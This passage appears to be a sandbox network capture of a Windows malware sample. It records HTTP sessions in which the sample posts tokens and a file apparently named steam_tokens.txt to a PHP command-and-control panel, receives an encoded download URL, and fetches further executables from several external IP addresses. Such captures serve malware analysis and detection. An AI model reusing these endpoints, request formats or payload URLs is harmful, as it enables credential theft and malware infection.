0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file"------HIIDGCGCBFBAKFHIJDBA--
Nov 17, 2024 22:20:59.140145063 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:20:59.180337906 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"ybncbhylepme------EHDHIDAEHCFHJJJJECAA--
Nov 17, 2024 22:20:59.464174032 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	60970	185.215.113.16	80	3576	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:20:59.475119114 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 17, 2024 22:21:00.371026039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:21:00 GMT Content-Type: application/octet-stream Content-Length: 1901568 Last-Modified: Sun, 17 Nov 2024 21:03:57 GMT Connection: keep-alive ETag: "673a5a3d-1d0400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkH,sKrK @.rsrcH@.idata @ *@nmkptigd1@sphqvbakK@.taggant0K"@
Nov 17, 2024 22:21:00.371052027 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:00.371109009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:00.371126890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:00.371145964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:00.371185064 CET	1236	IN	Data Raw: 2d 54 f1 f1 00 8b 51 45 a1 c1 52 80 2d 51 52 52 ec 45 4e 52 4d 8c 43 60 29 b1 07 bb cc 6c 71 b1 45 01 52 f5 47 ea 40 39 c9 e5 74 c4 e1 95 95 5c 5d 50 9b 75 29 38 7a a4 92 9d 39 15 5e 8d 00 b6 5b d1 52 84 08 51 b6 6d 48 a9 e0 75 e9 83 64 4f 5b ad Data Ascii: -TQER-QRRENRMC`)lqERG@9t\]Pu)8z9^[RQmHudO[B]F9I9DAN9U$!vchR!"4ysUE`Ri:Ds=cR(qq%9P);YA\BlpR![vL;esraCtd+Q$cR!_h!wQASs`SE
Nov 17, 2024 22:21:00.371205091 CET	848	IN	Data Raw: 35 59 bb 11 63 77 0e 87 2b e3 42 57 21 2b b8 d3 7f 65 3d ef 4f 1d 25 fe 84 64 f4 43 bc 59 8c af 6d 59 19 a1 f7 8b 97 8d 74 78 a2 99 e3 6e c1 32 d7 82 fd 71 6e ec 1d 88 ff d6 4e 3d 9e 57 32 36 4c 21 90 8e dc 53 fb 2b 32 7a 19 4f 6d e1 f8 f2 2f 24 Data Ascii: 5Ycw+BW!+e=O%dCYmYtxn2qnN=W26L!S+2zOm/$3K{G;jpa!02A/h1-5x1AE7PtJ)~;gwDPCg:SA!?S%;[2q$i;-evM~.ZMf@yd(Tfi)ML{'
Nov 17, 2024 22:21:00.371222973 CET	1236	IN	Data Raw: 9f b2 47 8b 9a 29 a7 09 45 27 bb 2d fa b2 37 83 54 29 a9 56 51 b1 0d ce 1d c9 3f 06 7f c3 34 21 da de da 4b b3 71 b3 d0 e1 38 f8 35 7f 67 0d 42 a9 5a 75 8b 6a 7b 08 1a 97 2e 37 db dd a7 cf a3 45 0b 56 e1 5b 22 50 b2 11 dd d4 d5 0b 75 73 ae 59 a3 Data Ascii: G)E'-7T)VQ?4!Kq85gBZuj{.7EV["PusYT")YQ@,lA@(q8$.3OaI)yx5ryD}W+TuAm)ACA;B j9A?;\\|ghmA1n]3M56UQ#>Pup=q
Nov 17, 2024 22:21:00.371239901 CET	1236	IN	Data Raw: 16 ea 43 84 59 69 c7 ba 22 ff d6 cb 29 05 75 e9 a1 65 b8 86 1c 3d 47 0a 2a 44 0c 55 29 fe 1c 25 ff 62 8d 76 38 02 09 c7 75 db f7 c2 af 27 6a 7d ba f8 c3 41 4c 57 eb d3 40 12 c2 a5 c1 eb ac 4e 11 64 a8 f1 18 85 e6 11 4b a1 f5 ab 9a e6 32 6c 09 d5 Data Ascii: CYi")ue=G*DU)%bv8u'j}ALW@NdK2lj`yER\|j~4R2miQ?K(BvfIcZcryt)6?>H?q{Z5yqcdYq'}{&y>\Q5<=)
Nov 17, 2024 22:21:00.371277094 CET	1236	IN	Data Raw: 3b d5 79 74 6a f0 34 99 e4 03 41 db 6a 89 40 b5 43 24 dd e5 29 0d fb bb 3f b4 f8 41 9a aa 52 95 37 1b 74 bc 8f 71 87 95 c5 34 49 4f 57 31 05 52 f0 e5 61 34 fa 83 61 d3 41 7d c6 bb 17 93 a5 44 a2 c6 21 e6 0e 4d 9b b1 d5 d1 0b ab 69 ac 62 a1 24 ae Data Ascii: ;ytj4Aj@C$)?AR7tq4IOW1Ra4aA}D!Mib$dHyWB}xmYu@bM"Nhm Z3ed\@<'`Yi3JUfHaY3E~J2Oh{j#sJ}amf7QxWfL<C'OKk8}1Z:Q4-O
Nov 17, 2024 22:21:00.376247883 CET	1236	IN	Data Raw: 77 80 48 8f bf d1 f5 cf 54 c9 df da d5 16 c3 3a d5 81 f4 d0 b5 61 60 c1 a6 16 42 d6 e7 9a 7a 3a ee 88 5e ff 6c 66 a6 54 a4 b2 a9 22 eb 81 6c 33 ba 50 fc 52 da da 5f 16 c6 33 09 bd 5c 3b 13 0e dc da 2d a7 9b 9b 41 50 ca d6 7b 0b cb 31 b3 38 9e 3c Data Ascii: wHT:a`Bz:^lfT"l3PR_3\;-AP{18<]11"5th=)[>IOhc&_sQ.yZxc q0'\vk]hw#KAw'wE&0d=O3<U>B(mi7?W>y4`F1[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	61013	185.215.113.206	80	3576	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:05.576663017 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECGDHDHJEBGHJKFIECBG--
Nov 17, 2024 22:21:06.969132900 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:21:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	61053	185.215.113.43	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:15.799195051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 17, 2024 22:21:16.712743044 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:21:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	61055	185.215.113.43	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:18.224159002 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 17, 2024 22:21:19.159785986 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 36 39 39 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 36 39 39 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 39 39 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 39 39 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1006992001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1006993001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006994001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006995001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1006996001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	61056	31.41.244.11	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:19.169363022 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 17, 2024 22:21:20.042829037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:21:19 GMT Content-Type: application/octet-stream Content-Length: 4373504 Last-Modified: Sun, 17 Nov 2024 20:13:16 GMT Connection: keep-alive ETag: "673a4e5c-42bc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 a0 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 b8 00 00 04 00 00 d6 d8 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 83 b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 83 b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2H@B@ _pes Pel'@.rsrc `e\|'@.idata pe\|'@ 7e~'@cqumvlma p'@yyikkzmnB@.taggant0"B@
Nov 17, 2024 22:21:20.042921066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:20.042958975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:20.042993069 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:20.043107033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 95 85 f3 e6 7c 07 6e 8f 20 87 bb 83 94 79 de 26 32 75 66 f6 70 0a 5b 42 ec 0c 66 96 0d 2a 9c c1 7c 1e 72 8b 8f 7a 1f 15 99 7f 90 dc 26 59 1f 62 83 06 4e c5 25 80 ff 92 3c 50 86 63 Data Ascii: C\|n y&2ufp[Bf*\|rz&YbN%<PcaimL)kOn>S"W<yX8@${yq'hW#b=B#CK$X0tku!2?> 93;'\|4`J' )]?AqQ-H\?j2pfa`
Nov 17, 2024 22:21:20.043138027 CET	212	IN	Data Raw: 67 8b 37 ec c7 be 18 ae 58 3b 6f 56 0b 04 41 5d 81 20 76 4a 90 11 1d 02 36 cf b5 03 b7 b3 ae 18 6f ff 5d 22 f4 bb 91 46 1f 90 0c 89 46 ac 0f cc e3 34 19 8d 3b eb 6c 75 cd d5 e1 e6 0c d9 4c d1 f2 e3 b4 84 c7 a4 e6 d7 8a 28 04 e9 37 fb 21 c2 80 6a Data Ascii: g7X;oVA] vJ6o]"FF4;luL(7!jY["4!n"}V2C+pujw!"f`9/n(j>}9*)AZ\~j9Ti_-aby[3Y
Nov 17, 2024 22:21:20.043206930 CET	1236	IN	Data Raw: 36 a4 8e e0 3d 83 91 3e 61 7f 1e 97 07 7a cd bb 4f 39 23 cb 4f e5 3b e0 5f 9b c4 ad 85 fd 70 68 0a f9 a4 18 36 f9 22 1d 4c 7d 3f 6e 86 b7 77 6a 49 00 71 46 85 cc ef 57 d0 50 4f 92 63 b3 d5 9d 5f a9 e0 dd ab ba d9 80 ad b1 e9 5d a1 da 95 67 87 4c Data Ascii: 6=>azO9#O;_ph6"L}?nwjIqFWPOc_]gL?_)c'cU9)1arE~E!_ICmpSLl"G_,#D,o7bBo~=\|3?zCsa7]8sM
Nov 17, 2024 22:21:20.043221951 CET	1236	IN	Data Raw: 8f 52 22 d6 bf 1e 5b 69 4a 7b e3 19 fd 5f 15 b8 70 fa 8d 9a ea 91 ee 12 ae b6 23 44 63 7e a7 fc 6b 90 6f b2 4d 8b 97 68 25 b7 2d 7d 4e 38 c1 65 d4 68 b4 4e eb 64 ee 46 d9 8d 35 fd 9d 57 65 62 5b 39 6a 18 dd 59 51 5c 4c 7f a9 99 87 e1 9c 08 ff 3b Data Ascii: R"[iJ{_p#Dc~koMh%-}N8ehNdF5Web[9jYQ\L;6VWQ3pBJnmr9\I;ApOl`vngZd8/{ 0HA-0PFNc;A){l%dXMDo@5_2'F:ybO
Nov 17, 2024 22:21:20.043236017 CET	1236	IN	Data Raw: 6e 45 02 37 71 4e 59 c0 f3 8a 59 5b 68 e0 8c 06 a3 e6 f6 7a 89 84 ab 43 06 59 29 72 4e 5f a0 e0 27 11 06 19 0d f8 80 b0 d3 c9 a8 67 eb 22 5c da 95 e5 cc f9 aa f7 5b 9a 74 3c a2 e6 71 91 9d 04 62 40 53 10 b7 30 87 10 45 c8 4d 06 5c 66 91 f2 7a 41 Data Ascii: nE7qNYY[hzCY)rN_'g"\[t<qb@S0EM\fzAa*<)D3>R, m:y7( \xovhi2$Di/qzu+$Ji&0!E$wVTq;0sS5dL
Nov 17, 2024 22:21:20.043267965 CET	1236	IN	Data Raw: a1 c6 b2 68 7c a4 31 79 b4 ef a3 69 96 e1 6d 1e db 92 06 9c de 3b 95 7e 8e 4f db 1d ac 38 8a 10 48 24 81 98 4d 5b 22 35 5c b0 c6 07 ff 00 66 9a 3c 84 68 02 8a 37 a1 d5 a4 c9 6b 1e b7 ac b4 4f bb f8 0c 07 14 e8 c0 4c cd dd 99 20 8d e1 1b 58 3c 61 Data Ascii: h\|1yim;~O8H$M["5\f<h7kOL X<aB6t \|`q\?<4{nQ}7^83POP:K0/vd\=-'(@-CoJzbjt;}r /</%G\|L=T7C
Nov 17, 2024 22:21:20.048226118 CET	1236	IN	Data Raw: b4 c5 d9 bc 2c 17 67 b2 7d 29 b2 7f 51 f0 2c d8 27 dd 85 0a 66 49 31 31 7e 96 ef 06 32 db 10 ed 9b f7 93 fc 97 03 d3 d6 c6 ce ef 37 4d f9 47 c0 7b a7 2b b9 b4 eb 45 8f ef b1 26 8d 27 83 ea ba 30 45 a7 bd 8f c8 48 4a ce 62 98 01 97 49 fa d7 e4 76 Data Ascii: ,g})Q,'fI11~27MG{+E&'0EHJbIvyNl*B2rim>J"'3yOvM<SoTe_+KYfniA)3abZWyYR:c[j<`u]9B=<nY840{!f@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	61059	185.215.113.43	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:29.276029110 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 39 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006992001&unit=246122658369
Nov 17, 2024 22:21:30.206512928 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	61060	185.215.113.16	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:30.215357065 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 22:21:31.126358986 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:21:30 GMT Content-Type: application/octet-stream Content-Length: 1835008 Last-Modified: Sun, 17 Nov 2024 21:03:42 GMT Connection: keep-alive ETag: "673a5a2e-1c0000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 00 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 49 00 00 04 00 00 32 09 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: 